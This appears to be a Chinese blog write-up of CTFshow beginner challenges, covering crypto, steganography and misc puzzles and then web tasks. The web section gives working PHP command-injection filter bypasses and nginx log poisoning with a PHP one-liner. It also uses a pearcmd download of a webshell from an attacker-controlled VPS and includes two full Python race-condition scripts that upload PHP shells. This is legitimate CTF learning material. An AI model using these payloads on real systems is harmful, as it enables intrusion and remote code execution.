CTFshow_萌新解题

萌新认证

直接群里:萌新码就ok

萌新_密码1

 无F大概率base16,尝试解密

解密完发现还是密文,感觉是base64,再解密

 发现KEY和{},考虑为栅栏密码

 

 解出key

萌新_密码2

键盘密码可能是,查看键盘位置,发现这几位都中间的数字为fwy,解出密码

萌新 密码3

看到是摩斯密码进行解密 

 得到字母,但不是flag,看到作者名字是培根,想到了培根密码,将A替换m,B替换d,AABBABABAAABBBABABBAAAAAAABBABAABBA得到,进行解密得到guowang,改为大写提交flag成功

萌新 隐写2

下载压缩包,提示为90后那密码可能为199******

使用ARCHPR进行爆破,得到密码为19981000

解压文件得到flag

萌新 隐写4

下载文件,打开发现是个图片 

猜测flag内容被隐藏,设置里尝试打开隐藏文字看看

发现flag

萌新 密码#4

比base64还大那就是base85,先用64解码

 再用85解码,发现少了一些,猜测也为base,flag应该为{base_base_base},尝试提交结果对的

萌新 隐写3

这题很简单,打开就能看到flag

杂项1

md5

解密得到helloctf,减去ctf,得到flag

杂项2

下载发现没什么,信息,就是张图片

将后缀改为txt查看,得到flag

杂项3

 银行卡密码一般为六位数字,猜测密码为971015(生日加名字),提交还真是

杂项4

用工具暴力破解,得到flag

杂项5

下载文件后,发现是个txt,没有flag,但包含了{},可能flag存在于{}中

有大小写的区别,将大写字母拼接,作为flag提交,成功

杂项6

压缩包伪密码,用winhex打开,将504b0102后的0009改为0000,就可无密码解压,得到flag

杂项7

图片长一点,那就修改它的高度,将0185改为0385

 

得到flag

杂项8

瘦一点,那就更改图片的宽

得到flag

杂项10

好抽象的题,我600度眼睛勉强看清(

flag{我好喜欢你} 

杂项11

用给的工具打开图片然后seek

将导出的文件用txt查看,发现是png

改为png,发现是个二维码,扫描转到ctfshow官网没啥东西,用QB扫描下,得到类似base64的编码

 解码,得到flag(什么flag笑死)

 

隐写1

打开下载文件,发现打不开

 

winhex查看,发现头不对,png应该为89504e47,修改得到flag

隐写2

下载完的图片,放到JPhswin,seek后,改为txt文件,查看得到flag

萌新隐写5

打开txt发现这串字符,尝试用unicode

得到编码

16进制转字符串,发现像某种base编码,经过测试为base32 

解码得flag 

萌新隐写6

下载完发现是一个音频文件,用au打开,发现一段长短波,考虑为摩斯(-- ..- --.. .. -.- .. ... --. -----   ----- -..)

 

 解码得到flag

web1

 查看代码,发现当id=1000得时候得到flag但是大于999的时候会id error,所以尝试构造绕过

  使用相乘绕过,得到flag

web2

这次增加了过滤,但还是可以100*10绕过

web3

发现过滤了更多符号和十六进制,但是还是可以相乘绕过 

web4

这次过滤了更多,也过滤了乘号,但是可以单引号绕过

 

web5

过滤了很多东西又,单引号也过滤了,但是发现没有过滤~,可以使用~~二次取反绕过 

 

web6

增加了过滤,但是还是可以二进制或者二次取反绕过

web7

这次过滤了~,但是没有过滤二进制,使用二进制绕过

web8 

 emm,没什么提示,偷偷看看大神,发现是个脑洞。。删库跑路绷不住了

web9

看代码,发现存在命令执行漏洞,尝试构造得到flag,使用system(“cat config,php”),f12看源码得到flag

 

web10

em,前面的执行函数被过滤,使用其它命令执行函数passthru(“cat config.php”)

web11 

哦吼,对cat进行过滤了,但无所谓反正还可以more less tail 等读取文件,也可以ca/t绕过

构造 passthru(“less config.php”)

web12

config和php被过滤,但是可以进行编码base64编码绕过,并且采用拼接的方式

 ?c=$a=base64_decode("c3lzdGVt");$b=base64_decode("Y2F0IGNvbmZpZy5waHA=");$a($b);

 

 web13

过滤了分号,那就使用?c=passthru(base64_decode(%27Y2F0IGNvbmZpZy5waHA=%27))?%3E

用?>代替;
  在php中可以用?>来代替最后的一个;,因为php遇到定界符关闭标签会自动在末尾加上一个分号。

 web14 

 题目过滤了括号,采用%3e 和& 拼接命令绕过

?c=echo%20`$_REQUEST[a]`?%3E&a=cat%20config.php

 

 web15

对等于进行了过滤,使用include $_GET[a];&a=php://filter/read=convert.base64-encode/resource=config.php来读取文件吧,然后将得到的密文解密

web16

解密md5,观察代码发现传参的时候是ctfshow+$c所以$c=36d,得到flag

 

web17 

可能是文件包含漏洞?

 

 抓包重放,发现响应中又nginx,可能存在默认日志路径/var/log/nginx/access.log或者/var/log/nginx/error.log

 访问网站?c=/var/log/nginx/access.log,抓包发现user-agent头,构造一句话木马

<?php system('ls'); ?>;  查看文件,发现有个36d.php   <?php highlight_file('36d.php'); ?>高亮显示得到flag

 web18

加了过滤,但是原理和17相同应该,同样方法试试,发现可以

 

 web19-21同理

web22

参考了一些其它文章,以下是解题思路

vps开简单的http服务并且写一个一句话木马

 

 构造?c=pearcmd&+download+http://ip:6666/shell.php

下载该shell后切换到shell.php,执行命令test=system(’ls’);然后读取flag  test=system(‘grep flag 36d.php’);

 

 

参考:https://blog.csdn.net/qq_46041723/article/details

 获得百分之百的快乐

?1=ls直接执行命令了

 

1.创建一个空文件
?1=>nl

2.查看文件,发现nl文件存在
?1=ls

3.获取flag
?1=*

web23&web24 

发现上传文件连不到后,想到竞争,这里借用大佬代码(萌新计划23/24 - CTFshow WP),跑下目录得到结果

import requests,time,threading

subaddr = "http://db365737-a2e3-4ce6-867f-f2a5f27e5fbd.challenge.ctf.show/"

def newThread(fun,*args):
    return threading.Thread(target=fun, args=args)

def execphp(fname):
    r = requests.get(subaddr + "uploads/" + fname + ".php")
    x = r.text
    if len(x) > 0 and "404 Not Found" not in x and "容器已过期" not in x:
        print(x)

def check(fname):
    for i in range(100,400):
        # 每个文件名单起一个线程
        newThread(execphp, fname + str(i)).start()

def upload():
    while True:
        file_data = {'file':('anything.php',"<?php system(\"ls -l ../\");?>".encode())}
        r = requests.post(subaddr+"upload.php",files=file_data)
        txt = r.text
        print("uploaded:",txt)
        # 用本次的文件名推算下一次的文件名,相差sleep一次的时间间隔
        ts = int(time.mktime(time.strptime(txt[8:22], "%Y%m%d%H%M%S")))
        fname = time.strftime("%Y%m%d%H%M%S", time.localtime(ts + 1))
        # 单起一个线程,爆破下一次upload的文件名
        newThread(check, fname).start()


if __name__ == '__main__':
    upload()

然后将指令改为<?php system(\"tac ../flaghere0.txt\");?>再跑一下得到flag

24是将时间缩短了,那么把源码的参数换成rand(0,300)和sleep(3)

# coding: utf-8
# Auth: y2hlbmc

import requests
import time
import threading

url = "http://b4359d63-6487-448d-8aaa-3f4723146ad4.challenge.ctf.show/"


def Thread(fun, *args):
    return threading.Thread(target=fun, args=args)


def req(fname):
    r = requests.get(url + "uploads/" + fname + ".php")
    x = r.text
    if len(x) > 0 and "404 Not Found" not in x and "容器已过期" not in x:
        print(x)


def Thread_start(fname):
    for i in range(0, 300):
        # 每个文件名单起一个线程
        Thread(req, fname + str(i)).start()


def upload():
    while True:
        file_data = {'file': ('shell.php', "<?php system(\"tac ../flaghere0.txt\");?>".encode())}
        r = requests.post(url + "upload.php", files=file_data)
        txt = r.text
        print("uploaded:", txt)
        # 用本次的文件名推算下一次的文件名,相差sleep一次的时间间隔
        ts = int(time.mktime(time.strptime(txt[8:22], "%Y%m%d%H%M%S")))
        fname = time.strftime("%Y%m%d%H%M%S", time.localtime(ts + 3))
        # 单起一个线程,爆破下一次upload的文件名
        Thread(Thread_start, fname).start()


if __name__ == '__main__':
    upload()

 就此,终于完成了萌新挑战/(ㄒoㄒ)/~~

  • 6
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Flavedo~Y

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值